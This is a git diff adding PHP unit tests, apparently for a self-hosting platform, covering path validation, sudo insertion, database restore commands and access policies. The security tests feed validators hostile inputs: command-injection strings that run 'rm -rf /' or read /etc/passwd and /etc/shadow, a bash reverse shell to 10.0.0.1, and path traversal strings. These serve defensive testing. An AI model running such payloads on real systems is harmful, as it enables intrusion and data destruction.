+ expect($component->autofocus)->toBeTrue();
+});
+
+it('accepts authorization properties', function () {
+ $component = new EnvVarInput(
+ canGate: 'update',
+ canResource: 'resource',
+ autoDisable: false
+ );
+
+ expect($component->canGate)->toBe('update')
+ ->and($component->canResource)->toBe('resource')
+ ->and($component->autoDisable)->toBeFalse();
+});
diff --git a/tests/Unit/FileStorageSecurityTest.php b/tests/Unit/FileStorageSecurityTest.php
new file mode 100644
index 000000000..a89a209b1
--- /dev/null
+++ b/tests/Unit/FileStorageSecurityTest.php
@@ -0,0 +1,93 @@
+ validateShellSafePath('/tmp$(whoami)', 'storage path'))
+ ->toThrow(Exception::class);
+});
+
+test('file storage rejects command injection with semicolon', function () {
+ expect(fn () => validateShellSafePath('/data; rm -rf /', 'storage path'))
+ ->toThrow(Exception::class);
+});
+
+test('file storage rejects command injection with pipe', function () {
+ expect(fn () => validateShellSafePath('/app | cat /etc/passwd', 'storage path'))
+ ->toThrow(Exception::class);
+});
+
+test('file storage rejects command injection with backticks', function () {
+ expect(fn () => validateShellSafePath('/tmp`id`/data', 'storage path'))
+ ->toThrow(Exception::class);
+});
+
+test('file storage rejects command injection with ampersand', function () {
+ expect(fn () => validateShellSafePath('/data && whoami', 'storage path'))
+ ->toThrow(Exception::class);
+});
+
+test('file storage rejects command injection with redirect operators', function () {
+ expect(fn () => validateShellSafePath('/tmp > /tmp/evil', 'storage path'))
+ ->toThrow(Exception::class);
+
+ expect(fn () => validateShellSafePath('/data < /etc/shadow', 'storage path'))
+ ->toThrow(Exception::class);
+});
+
+test('file storage rejects reverse shell payload', function () {
+ expect(fn () => validateShellSafePath('/tmp$(bash -i >& /dev/tcp/10.0.0.1/8888 0>&1)', 'storage path'))
+ ->toThrow(Exception::class);
+});
+
+test('file storage escapes paths properly', function () {
+ $path = "/var/www/app's data";
+ $escaped = escapeshellarg($path);
+
+ expect($escaped)->toBe("'/var/www/app'\\''s data'");
+});
+
+test('file storage escapes paths with spaces', function () {
+ $path = '/var/www/my app/data';
+ $escaped = escapeshellarg($path);
+
+ expect($escaped)->toBe("'/var/www/my app/data'");
+});
+
+test('file storage escapes paths with special characters', function () {
+ $path = '/var/www/app (production)/data';
+ $escaped = escapeshellarg($path);
+
+ expect($escaped)->toBe("'/var/www/app (production)/data'");
+});
+
+test('file storage accepts legitimate absolute paths', function () {
+ expect(fn () => validateShellSafePath('/var/www/app', 'storage path'))
+ ->not->toThrow(Exception::class);
+
+ expect(fn () => validateShellSafePath('/tmp/uploads', 'storage path'))
+ ->not->toThrow(Exception::class);
+
+ expect(fn () => validateShellSafePath('/data/storage', 'storage path'))
+ ->not->toThrow(Exception::class);
+
+ expect(fn () => validateShellSafePath('/app/persistent-data', 'storage path'))
+ ->not->toThrow(Exception::class);
+});
+
+test('file storage accepts paths with underscores and hyphens', function () {
+ expect(fn () => validateShellSafePath('/var/www/my_app-data', 'storage path'))
+ ->not->toThrow(Exception::class);
+
+ expect(fn () => validateShellSafePath('/tmp/upload_dir-2024', 'storage path'))
+ ->not->toThrow(Exception::class);
+});
diff --git a/tests/Unit/FormatBytesTest.php b/tests/Unit/FormatBytesTest.php
new file mode 100644
index 000000000..70c9c3039
--- /dev/null
+++ b/tests/Unit/FormatBytesTest.php
@@ -0,0 +1,42 @@
+toBe('0 B');
+});
+
+it('formats null bytes correctly', function () {
+ expect(formatBytes(null))->toBe('0 B');
+});
+
+it('handles negative bytes safely', function () {
+ expect(formatBytes(-1024))->toBe('0 B');
+ expect(formatBytes(-100))->toBe('0 B');
+});
+
+it('formats bytes correctly', function () {
+ expect(formatBytes(512))->toBe('512 B');
+ expect(formatBytes(1023))->toBe('1023 B');
+});
+
+it('formats kilobytes correctly', function () {
+ expect(formatBytes(1024))->toBe('1 KB');
+ expect(formatBytes(2048))->toBe('2 KB');
+ expect(formatBytes(1536))->toBe('1.5 KB');
+});
+
+it('formats megabytes correctly', function () {
+ expect(formatBytes(1048576))->toBe('1 MB');
+ expect(formatBytes(5242880))->toBe('5 MB');
+});
+
+it('formats gigabytes correctly', function () {
+ expect(formatBytes(1073741824))->toBe('1 GB');
+ expect(formatBytes(2147483648))->toBe('2 GB');
+});
+
+it('respects precision parameter', function () {
+ expect(formatBytes(1536, 0))->toBe('2 KB');
+ expect(formatBytes(1536, 1))->toBe('1.5 KB');
+ expect(formatBytes(1536, 2))->toBe('1.5 KB');
+ expect(formatBytes(1536, 3))->toBe('1.5 KB');
+});
diff --git a/tests/Unit/Livewire/Database/S3RestoreTest.php b/tests/Unit/Livewire/Database/S3RestoreTest.php
new file mode 100644
index 000000000..18837b466
--- /dev/null
+++ b/tests/Unit/Livewire/Database/S3RestoreTest.php
@@ -0,0 +1,79 @@
+dumpAll = false;
+ $component->postgresqlRestoreCommand = 'pg_restore -U $POSTGRES_USER -d $POSTGRES_DB';
+
+ $database = Mockery::mock('App\Models\StandalonePostgresql');
+ $database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
+ $component->resource = $database;
+
+ $result = $component->buildRestoreCommand('/tmp/test.dump');
+
+ expect($result)->toContain('pg_restore');
+ expect($result)->toContain('/tmp/test.dump');
+});
+
+test('buildRestoreCommand handles PostgreSQL with dumpAll', function () {
+ $component = new Import;
+ $component->dumpAll = true;
+ // This is the full dump-all command prefix that would be set in the updatedDumpAll method
+ $component->postgresqlRestoreCommand = 'psql -U $POSTGRES_USER -c "SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE datname IS NOT NULL AND pid <> pg_backend_pid()" && psql -U $POSTGRES_USER -t -c "SELECT datname FROM pg_database WHERE NOT datistemplate" | xargs -I {} dropdb -U $POSTGRES_USER --if-exists {} && createdb -U $POSTGRES_USER postgres';
+
+ $database = Mockery::mock('App\Models\StandalonePostgresql');
+ $database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
+ $component->resource = $database;
+
+ $result = $component->buildRestoreCommand('/tmp/test.dump');
+
+ expect($result)->toContain('gunzip -cf /tmp/test.dump');
+ expect($result)->toContain('psql -U $POSTGRES_USER postgres');
+});
+
+test('buildRestoreCommand handles MySQL without dumpAll', function () {
+ $component = new Import;
+ $component->dumpAll = false;
+ $component->mysqlRestoreCommand = 'mysql -u $MYSQL_USER -p$MYSQL_PASSWORD $MYSQL_DATABASE';
+
+ $database = Mockery::mock('App\Models\StandaloneMysql');
+ $database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMysql');
+ $component->resource = $database;
+
+ $result = $component->buildRestoreCommand('/tmp/test.dump');
+
+ expect($result)->toContain('mysql -u $MYSQL_USER');
+ expect($result)->toContain('< /tmp/test.dump');
+});
+
+test('buildRestoreCommand handles MariaDB without dumpAll', function () {
+ $component = new Import;
+ $component->dumpAll = false;
+ $component->mariadbRestoreCommand = 'mariadb -u $MARIADB_USER -p$MARIADB_PASSWORD $MARIADB_DATABASE';
+
+ $database = Mockery::mock('App\Models\StandaloneMariadb');
+ $database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMariadb');
+ $component->resource = $database;
+
+ $result = $component->buildRestoreCommand('/tmp/test.dump');
+
+ expect($result)->toContain('mariadb -u $MARIADB_USER');
+ expect($result)->toContain('< /tmp/test.dump');
+});
+
+test('buildRestoreCommand handles MongoDB', function () {
+ $component = new Import;
+ $component->dumpAll = false;
+ $component->mongodbRestoreCommand = 'mongorestore --authenticationDatabase=admin --username $MONGO_INITDB_ROOT_USERNAME --password $MONGO_INITDB_ROOT_PASSWORD --uri mongodb://localhost:27017 --gzip --archive=';
+
+ $database = Mockery::mock('App\Models\StandaloneMongodb');
+ $database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMongodb');
+ $component->resource = $database;
+
+ $result = $component->buildRestoreCommand('/tmp/test.dump');
+
+ expect($result)->toContain('mongorestore');
+ expect($result)->toContain('/tmp/test.dump');
+});
diff --git a/tests/Unit/Livewire/EnvironmentVariableAutocompleteTest.php b/tests/Unit/Livewire/EnvironmentVariableAutocompleteTest.php
new file mode 100644
index 000000000..19da8b43b
--- /dev/null
+++ b/tests/Unit/Livewire/EnvironmentVariableAutocompleteTest.php
@@ -0,0 +1,53 @@
+toBeTrue();
+});
+
+it('component has required properties for environment variable autocomplete', function () {
+ $component = new Add;
+
+ expect($component)->toHaveProperty('key')
+ ->and($component)->toHaveProperty('value')
+ ->and($component)->toHaveProperty('is_multiline')
+ ->and($component)->toHaveProperty('is_literal')
+ ->and($component)->toHaveProperty('is_runtime')
+ ->and($component)->toHaveProperty('is_buildtime')
+ ->and($component)->toHaveProperty('parameters');
+});
+
+it('returns empty arrays when currentTeam returns null', function () {
+ // Mock Auth facade to return null for user
+ Auth::shouldReceive('user')
+ ->andReturn(null);
+
+ $component = new Add;
+ $component->parameters = [];
+
+ $result = $component->availableSharedVariables();
+
+ expect($result)->toBe([
+ 'team' => [],
+ 'project' => [],
+ 'environment' => [],
+ ]);
+});
+
+it('availableSharedVariables method wraps authorization checks in try-catch blocks', function () {
+ // Read the source code to verify the authorization pattern
+ $reflectionMethod = new ReflectionMethod(Add::class, 'availableSharedVariables');
+ $source = file_get_contents($reflectionMethod->getFileName());
+
+ // Verify that the method contains authorization checks
+ expect($source)->toContain('$this->authorize(\'view\', $team)')
+ ->and($source)->toContain('$this->authorize(\'view\', $project)')
+ ->and($source)->toContain('$this->authorize(\'view\', $environment)')
+ // Verify authorization checks are wrapped in try-catch blocks
+ ->and($source)->toContain('} catch (\Illuminate\Auth\Access\AuthorizationException $e) {');
+});
diff --git a/tests/Unit/ParseCommandsByLineForSudoTest.php b/tests/Unit/ParseCommandsByLineForSudoTest.php
index 0f9fda83c..f294de35f 100644
--- a/tests/Unit/ParseCommandsByLineForSudoTest.php
+++ b/tests/Unit/ParseCommandsByLineForSudoTest.php
@@ -272,7 +272,8 @@
$result = parseCommandsByLineForSudo($commands, $this->server);
- // This should use the original logic since it's not a complex pipe command
+ // docker commands now correctly get sudo prefix (word boundary fix for 'do' keyword)
+ // The || operator adds sudo to what follows, and subshell adds sudo inside $()
expect($result[0])->toBe('sudo docker ps || sudo echo $(sudo date)');
});
@@ -308,3 +309,315 @@
expect($result[0])->toEndWith("'");
expect($result[0])->not->toContain('| sudo');
});
+
+test('skips sudo for bash control structure keywords - for loop', function () {
+ $commands = collect([
+ ' for i in {1..10}; do',
+ ' echo $i',
+ ' done',
+ ]);
+
+ $result = parseCommandsByLineForSudo($commands, $this->server);
+
+ // Control structure keywords should not have sudo prefix
+ expect($result[0])->toBe(' for i in {1..10}; do');
+ expect($result[1])->toBe(' echo $i');
+ expect($result[2])->toBe(' done');
+});
+
+test('skips sudo for bash control structure keywords - while loop', function () {
+ $commands = collect([
+ 'while true; do',
+ ' echo "running"',
+ 'done',
+ ]);
+
+ $result = parseCommandsByLineForSudo($commands, $this->server);
+
+ expect($result[0])->toBe('while true; do');
+ expect($result[1])->toBe(' echo "running"');
+ expect($result[2])->toBe('done');
+});
+
+test('skips sudo for bash control structure keywords - case statement', function () {
+ $commands = collect([
+ 'case $1 in',
+ ' start)',
+ ' systemctl start service',
+ ' ;;',
+ 'esac',
+ ]);
+
+ $result = parseCommandsByLineForSudo($commands, $this->server);
+
+ expect($result[0])->toBe('case $1 in');
+ // Note: ' start)' gets sudo because 'start)' doesn't match any excluded keyword
+ // The sudo is added at the start of the line, before indentation
+ expect($result[1])->toBe('sudo start)');
+ expect($result[2])->toBe('sudo systemctl start service');
+ expect($result[3])->toBe('sudo ;;');
+ expect($result[4])->toBe('esac');
+});
+
+test('skips sudo for bash control structure keywords - if then else', function () {
+ $commands = collect([
+ 'if [ -f /tmp/file ]; then',
+ ' cat /tmp/file',
+ 'else',
+ ' touch /tmp/file',
+ 'fi',
+ ]);
+
+ $result = parseCommandsByLineForSudo($commands, $this->server);
+
+ expect($result[0])->toBe('if sudo [ -f /tmp/file ]; then');
+ // Note: sudo is added at the start of line (before indentation) for non-excluded commands
+ expect($result[1])->toBe('sudo cat /tmp/file');
+ expect($result[2])->toBe('else');
+ expect($result[3])->toBe('sudo touch /tmp/file');
+ expect($result[4])->toBe('fi');
+});
+
+test('skips sudo for bash control structure keywords - elif', function () {
+ $commands = collect([
+ 'if [ $x -eq 1 ]; then',
+ ' echo "one"',
+ 'elif [ $x -eq 2 ]; then',
+ ' echo "two"',
+ 'else',
+ ' echo "other"',
+ 'fi',
+ ]);
+
+ $result = parseCommandsByLineForSudo($commands, $this->server);
+
+ expect($result[0])->toBe('if sudo [ $x -eq 1 ]; then');
+ expect($result[1])->toBe(' echo "one"');
+ expect($result[2])->toBe('elif [ $x -eq 2 ]; then');
+ expect($result[3])->toBe(' echo "two"');
+ expect($result[4])->toBe('else');
+ expect($result[5])->toBe(' echo "other"');
+ expect($result[6])->toBe('fi');
+});
+
+test('handles real-world proxy startup with for loop from StartProxy action', function () {
+ // This is the exact command structure that was causing the bug in issue #7346
+ $commands = collect([
+ 'if docker ps -a --format "{{.Names}}" | grep -q "^coolify-proxy$"; then',
+ " echo 'Stopping and removing existing coolify-proxy.'",
+ ' docker stop coolify-proxy 2>/dev/null || true',
+ ' docker rm -f coolify-proxy 2>/dev/null || true',
+ ' # Wait for container to be fully removed',
+ ' for i in {1..10}; do',
+ ' if ! docker ps -a --format "{{.Names}}" | grep -q "^coolify-proxy$"; then',
+ ' break',
+ ' fi',
+ ' echo "Waiting for coolify-proxy to be removed... ($i/10)"',
+ ' sleep 1',
+ ' done',
+ " echo 'Successfully stopped and removed existing coolify-proxy.'",
+ 'fi',
+ ]);
+
+ $result = parseCommandsByLineForSudo($commands, $this->server);
+
+ // Verify the for loop line doesn't have sudo prefix
+ expect($result[5])->toBe(' for i in {1..10}; do');
+ expect($result[5])->not->toContain('sudo for');
+
+ // Verify the done line doesn't have sudo prefix
+ expect($result[11])->toBe(' done');
+ expect($result[11])->not->toContain('sudo done');
+
+ // Verify break doesn't have sudo prefix
+ expect($result[7])->toBe(' break');
+ expect($result[7])->not->toContain('sudo break');
+
+ // Verify comment doesn't have sudo prefix
+ expect($result[4])->toBe(' # Wait for container to be fully removed');
+ expect($result[4])->not->toContain('sudo #');
+
+ // Verify other control structures remain correct
+ expect($result[0])->toStartWith('if sudo docker ps');
+ expect($result[8])->toBe(' fi');
+ expect($result[13])->toBe('fi');
+});
+
+test('skips sudo for break and continue keywords', function () {
+ $commands = collect([
+ 'for i in {1..5}; do',
+ ' if [ $i -eq 3 ]; then',
+ ' break',
+ ' fi',
+ ' if [ $i -eq 2 ]; then',
+ ' continue',
+ ' fi',
+ 'done',
+ ]);
+
+ $result = parseCommandsByLineForSudo($commands, $this->server);
+
+ expect($result[2])->toBe(' break');
+ expect($result[2])->not->toContain('sudo');
+ expect($result[5])->toBe(' continue');
+ expect($result[5])->not->toContain('sudo');
+});
+
+test('skips sudo for comment lines starting with #', function () {
+ $commands = collect([
+ '# This is a comment',
+ ' # Indented comment',
+ 'apt-get update',
+ '# Another comment',
+ ]);
+
+ $result = parseCommandsByLineForSudo($commands, $this->server);
+
+ expect($result[0])->toBe('# This is a comment');
+ expect($result[0])->not->toContain('sudo');
+ expect($result[1])->toBe(' # Indented comment');
+ expect($result[1])->not->toContain('sudo');
+ expect($result[2])->toBe('sudo apt-get update');
+ expect($result[3])->toBe('# Another comment');
+ expect($result[3])->not->toContain('sudo');
+});
+
+test('skips sudo for until loop keywords', function () {
+ $commands = collect([
+ 'until [ -f /tmp/ready ]; do',
+ ' echo "Waiting..."',
+ ' sleep 1',
+ 'done',
+ ]);
+
+ $result = parseCommandsByLineForSudo($commands, $this->server);
+
+ expect($result[0])->toBe('until [ -f /tmp/ready ]; do');
+ expect($result[0])->not->toContain('sudo until');
+ expect($result[1])->toBe(' echo "Waiting..."');
+ // Note: sudo is added at the start of line (before indentation) for non-excluded commands
+ expect($result[2])->toBe('sudo sleep 1');
+ expect($result[3])->toBe('done');
+});
+
+test('skips sudo for select loop keywords', function () {
+ $commands = collect([
+ 'select opt in "Option1" "Option2"; do',
+ ' echo $opt',
+ ' break',
+ 'done',
+ ]);
+
+ $result = parseCommandsByLineForSudo($commands, $this->server);
+
+ expect($result[0])->toBe('select opt in "Option1" "Option2"; do');
+ expect($result[0])->not->toContain('sudo select');
+ expect($result[2])->toBe(' break');
+});
+
+// Tests for word boundary matching - ensuring commands are not confused with bash keywords
+
+test('adds sudo for ifconfig command (not confused with if keyword)', function () {
+ $commands = collect(['ifconfig eth0']);
+
+ $result = parseCommandsByLineForSudo($commands, $this->server);
+
+ expect($result[0])->toBe('sudo ifconfig eth0');
+ expect($result[0])->not->toContain('if sudo');
+});
+
+test('adds sudo for ifup command (not confused with if keyword)', function () {
+ $commands = collect(['ifup eth0']);
+
+ $result = parseCommandsByLineForSudo($commands, $this->server);
+
+ expect($result[0])->toBe('sudo ifup eth0');
+});
+
+test('adds sudo for ifdown command (not confused with if keyword)', function () {
+ $commands = collect(['ifdown eth0']);
+
+ $result = parseCommandsByLineForSudo($commands, $this->server);
+
+ expect($result[0])->toBe('sudo ifdown eth0');
+});
+
+test('adds sudo for find command (not confused with fi keyword)', function () {
+ $commands = collect(['find /var -name "*.log"']);
+
+ $result = parseCommandsByLineForSudo($commands, $this->server);
+
+ expect($result[0])->toBe('sudo find /var -name "*.log"');
+});
+
+test('adds sudo for file command (not confused with fi keyword)', function () {
+ $commands = collect(['file /tmp/test']);
+
+ $result = parseCommandsByLineForSudo($commands, $this->server);
+
+ expect($result[0])->toBe('sudo file /tmp/test');
+});
+
+test('adds sudo for finger command (not confused with fi keyword)', function () {
+ $commands = collect(['finger user']);
+
+ $result = parseCommandsByLineForSudo($commands, $this->server);
+
+ expect($result[0])->toBe('sudo finger user');
+});
+
+test('adds sudo for docker command (not confused with do keyword)', function () {
+ $commands = collect(['docker ps']);
+
+ $result = parseCommandsByLineForSudo($commands, $this->server);
+
+ expect($result[0])->toBe('sudo docker ps');
+});
+
+test('adds sudo for fortune command (not confused with for keyword)', function () {
+ $commands = collect(['fortune']);
+
+ $result = parseCommandsByLineForSudo($commands, $this->server);
+
+ expect($result[0])->toBe('sudo fortune');
+});
+
+test('adds sudo for formail command (not confused with for keyword)', function () {
+ $commands = collect(['formail -s procmail']);
+
+ $result = parseCommandsByLineForSudo($commands, $this->server);
+
+ expect($result[0])->toBe('sudo formail -s procmail');
+});
+
+test('if keyword with word boundary gets sudo inserted correctly', function () {
+ $commands = collect(['if [ -f /tmp/test ]; then']);
+
+ $result = parseCommandsByLineForSudo($commands, $this->server);
+
+ expect($result[0])->toBe('if sudo [ -f /tmp/test ]; then');
+});
+
+test('fi keyword with word boundary is not given sudo', function () {
+ $commands = collect(['fi']);
+
+ $result = parseCommandsByLineForSudo($commands, $this->server);
+
+ expect($result[0])->toBe('fi');
+});
+
+test('for keyword with word boundary is not given sudo', function () {
+ $commands = collect(['for i in 1 2 3; do']);
+
+ $result = parseCommandsByLineForSudo($commands, $this->server);
+
+ expect($result[0])->toBe('for i in 1 2 3; do');
+});
+
+test('do keyword with word boundary is not given sudo', function () {
+ $commands = collect(['do']);
+
+ $result = parseCommandsByLineForSudo($commands, $this->server);
+
+ expect($result[0])->toBe('do');
+});
diff --git a/tests/Unit/PathTraversalSecurityTest.php b/tests/Unit/PathTraversalSecurityTest.php
new file mode 100644
index 000000000..60adb44ac
--- /dev/null
+++ b/tests/Unit/PathTraversalSecurityTest.php
@@ -0,0 +1,184 @@
+toBeFalse();
+ expect(isSafeTmpPath(''))->toBeFalse();
+ expect(isSafeTmpPath(' '))->toBeFalse();
+ });
+
+ it('rejects paths shorter than minimum length', function () {
+ expect(isSafeTmpPath('/tmp'))->toBeFalse();
+ expect(isSafeTmpPath('/tmp/'))->toBeFalse();
+ expect(isSafeTmpPath('/tmp/a'))->toBeTrue(); // 6 chars exactly, should pass
+ });
+
+ it('accepts valid /tmp/ paths', function () {
+ expect(isSafeTmpPath('/tmp/file.txt'))->toBeTrue();
+ expect(isSafeTmpPath('/tmp/backup.sql'))->toBeTrue();
+ expect(isSafeTmpPath('/tmp/subdir/file.txt'))->toBeTrue();
+ expect(isSafeTmpPath('/tmp/very/deep/nested/path/file.sql'))->toBeTrue();
+ });
+
+ it('rejects obvious path traversal attempts with ..', function () {
+ expect(isSafeTmpPath('/tmp/../etc/passwd'))->toBeFalse();
+ expect(isSafeTmpPath('/tmp/foo/../etc/passwd'))->toBeFalse();
+ expect(isSafeTmpPath('/tmp/foo/bar/../../etc/passwd'))->toBeFalse();
+ expect(isSafeTmpPath('/tmp/foo/../../../etc/passwd'))->toBeFalse();
+ });
+
+ it('rejects paths that do not start with /tmp/', function () {
+ expect(isSafeTmpPath('/etc/passwd'))->toBeFalse();
+ expect(isSafeTmpPath('/home/user/file.txt'))->toBeFalse();
+ expect(isSafeTmpPath('/var/log/app.log'))->toBeFalse();
+ expect(isSafeTmpPath('tmp/file.txt'))->toBeFalse(); // Missing leading /
+ expect(isSafeTmpPath('./tmp/file.txt'))->toBeFalse();
+ });
+
+ it('handles double slashes by normalizing them', function () {
+ // Double slashes are normalized out, so these should pass
+ expect(isSafeTmpPath('/tmp//file.txt'))->toBeTrue();
+ expect(isSafeTmpPath('/tmp/foo//bar.txt'))->toBeTrue();
+ });
+
+ it('handles relative directory references by normalizing them', function () {
+ // ./ references are normalized out, so these should pass
+ expect(isSafeTmpPath('/tmp/./file.txt'))->toBeTrue();
+ expect(isSafeTmpPath('/tmp/foo/./bar.txt'))->toBeTrue();
+ });
+
+ it('handles trailing slashes correctly', function () {
+ expect(isSafeTmpPath('/tmp/file.txt/'))->toBeTrue();
+ expect(isSafeTmpPath('/tmp/subdir/'))->toBeTrue();
+ });
+
+ it('rejects sophisticated path traversal attempts', function () {
+ // URL encoded .. will be decoded and then rejected
+ expect(isSafeTmpPath('/tmp/%2e%2e/etc/passwd'))->toBeFalse();
+
+ // Mixed case /TMP doesn't start with /tmp/
+ expect(isSafeTmpPath('/TMP/file.txt'))->toBeFalse();
+ expect(isSafeTmpPath('/TMP/../etc/passwd'))->toBeFalse();
+
+ // URL encoded slashes with .. (should decode to /tmp/../../etc/passwd)
+ expect(isSafeTmpPath('/tmp/..%2f..%2fetc/passwd'))->toBeFalse();
+
+ // Null byte injection attempt (if string contains it)
+ expect(isSafeTmpPath("/tmp/file.txt\0../../etc/passwd"))->toBeFalse();
+ });
+
+ it('validates paths even when directories do not exist', function () {
+ // These paths don't exist but should be validated structurally
+ expect(isSafeTmpPath('/tmp/nonexistent/file.txt'))->toBeTrue();
+ expect(isSafeTmpPath('/tmp/totally/fake/deeply/nested/path.sql'))->toBeTrue();
+
+ // But traversal should still be blocked even if dir doesn't exist
+ expect(isSafeTmpPath('/tmp/nonexistent/../etc/passwd'))->toBeFalse();
+ });
+
+ it('handles real path resolution when directory exists', function () {
+ // Create a real temp directory to test realpath() logic
+ $testDir = '/tmp/phpunit-test-'.uniqid();
+ mkdir($testDir, 0755, true);
+
+ try {
+ expect(isSafeTmpPath($testDir.'/file.txt'))->toBeTrue();
+ expect(isSafeTmpPath($testDir.'/subdir/file.txt'))->toBeTrue();
+ } finally {
+ rmdir($testDir);
+ }
+ });
+
+ it('prevents symlink-based traversal attacks', function () {
+ // Create a temp directory and symlink
+ $testDir = '/tmp/phpunit-symlink-test-'.uniqid();
+ mkdir($testDir, 0755, true);
+
+ // Try to create a symlink to /etc (may not work in all environments)
+ $symlinkPath = $testDir.'/evil-link';
+
+ try {
+ // Attempt to create symlink (skip test if not possible)
+ if (@symlink('/etc', $symlinkPath)) {
+ // If we successfully created a symlink to /etc,
+ // isSafeTmpPath should resolve it and reject paths through it
+ $testPath = $symlinkPath.'/passwd';
+
+ // The resolved path would be /etc/passwd, not /tmp/...
+ // So it should be rejected
+ $result = isSafeTmpPath($testPath);
+
+ // Clean up before assertion
+ unlink($symlinkPath);
+ rmdir($testDir);
+
+ expect($result)->toBeFalse();
+ } else {
+ // Can't create symlink, skip this specific test
+ $this->markTestSkipped('Cannot create symlinks in this environment');
+ }
+ } catch (Exception $e) {
+ // Clean up on any error
+ if (file_exists($symlinkPath)) {
+ unlink($symlinkPath);
+ }
+ if (file_exists($testDir)) {
+ rmdir($testDir);
+ }
+ throw $e;
+ }
+ });
+
+ it('has consistent behavior with or without trailing slash', function () {
+ expect(isSafeTmpPath('/tmp/file.txt'))->toBe(isSafeTmpPath('/tmp/file.txt/'));
+ expect(isSafeTmpPath('/tmp/subdir/file.sql'))->toBe(isSafeTmpPath('/tmp/subdir/file.sql/'));
+ });
+});
+
+/**
+ * Integration test for S3RestoreJobFinished event using the secure path validation.
+ */
+describe('S3RestoreJobFinished path validation', function () {
+ it('validates that safe paths pass validation', function () {
+ // Test with valid paths - should pass validation
+ $validData = [
+ 'serverTmpPath' => '/tmp/valid-backup.sql',
+ 'scriptPath' => '/tmp/valid-script.sh',
+ 'containerTmpPath' => '/tmp/container-file.sql',
+ ];
+
+ expect(isSafeTmpPath($validData['serverTmpPath']))->toBeTrue();
+ expect(isSafeTmpPath($validData['scriptPath']))->toBeTrue();
+ expect(isSafeTmpPath($validData['containerTmpPath']))->toBeTrue();
+ });
+
+ it('validates that malicious paths fail validation', function () {
+ // Test with malicious paths - should fail validation
+ $maliciousData = [
+ 'serverTmpPath' => '/tmp/../etc/passwd',
+ 'scriptPath' => '/tmp/../../etc/shadow',
+ 'containerTmpPath' => '/etc/important-config',
+ ];
+
+ // Verify that our helper would reject these paths
+ expect(isSafeTmpPath($maliciousData['serverTmpPath']))->toBeFalse();
+ expect(isSafeTmpPath($maliciousData['scriptPath']))->toBeFalse();
+ expect(isSafeTmpPath($maliciousData['containerTmpPath']))->toBeFalse();
+ });
+
+ it('validates realistic S3 restore paths', function () {
+ // These are the kinds of paths that would actually be used
+ $realisticPaths = [
+ '/tmp/coolify-s3-restore-'.uniqid().'.sql',
+ '/tmp/db-backup-'.date('Y-m-d').'.dump',
+ '/tmp/restore-script-'.uniqid().'.sh',
+ ];
+
+ foreach ($realisticPaths as $path) {
+ expect(isSafeTmpPath($path))->toBeTrue();
+ }
+ });
+});
diff --git a/tests/Unit/Policies/S3StoragePolicyTest.php b/tests/Unit/Policies/S3StoragePolicyTest.php
new file mode 100644
index 000000000..4ea580d0f
--- /dev/null
+++ b/tests/Unit/Policies/S3StoragePolicyTest.php
@@ -0,0 +1,149 @@
+ 1, 'pivot' => (object) ['role' => 'member']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $storage = Mockery::mock(S3Storage::class)->makePartial();
+ $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
+ $storage->team_id = 1;
+
+ $policy = new S3StoragePolicy;
+ expect($policy->view($user, $storage))->toBeTrue();
+});
+
+it('denies team member to view S3 storage from another team', function () {
+ $teams = collect([
+ (object) ['id' => 1, 'pivot' => (object) ['role' => 'owner']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $storage = Mockery::mock(S3Storage::class)->makePartial();
+ $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
+ $storage->team_id = 2;
+
+ $policy = new S3StoragePolicy;
+ expect($policy->view($user, $storage))->toBeFalse();
+});
+
+it('allows team admin to update S3 storage from their team', function () {
+ $teams = collect([
+ (object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $storage = Mockery::mock(S3Storage::class)->makePartial();
+ $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
+ $storage->team_id = 1;
+
+ $policy = new S3StoragePolicy;
+ expect($policy->update($user, $storage))->toBeTrue();
+});
+
+it('denies team member to update S3 storage from another team', function () {
+ $teams = collect([
+ (object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $storage = Mockery::mock(S3Storage::class)->makePartial();
+ $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
+ $storage->team_id = 2;
+
+ $policy = new S3StoragePolicy;
+ expect($policy->update($user, $storage))->toBeFalse();
+});
+
+it('allows team member to delete S3 storage from their team', function () {
+ $teams = collect([
+ (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $storage = Mockery::mock(S3Storage::class)->makePartial();
+ $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
+ $storage->team_id = 1;
+
+ $policy = new S3StoragePolicy;
+ expect($policy->delete($user, $storage))->toBeTrue();
+});
+
+it('denies team member to delete S3 storage from another team', function () {
+ $teams = collect([
+ (object) ['id' => 1, 'pivot' => (object) ['role' => 'owner']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $storage = Mockery::mock(S3Storage::class)->makePartial();
+ $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
+ $storage->team_id = 2;
+
+ $policy = new S3StoragePolicy;
+ expect($policy->delete($user, $storage))->toBeFalse();
+});
+
+it('allows admin to create S3 storage', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdmin')->andReturn(true);
+
+ $policy = new S3StoragePolicy;
+ expect($policy->create($user))->toBeTrue();
+});
+
+it('denies non-admin to create S3 storage', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdmin')->andReturn(false);
+
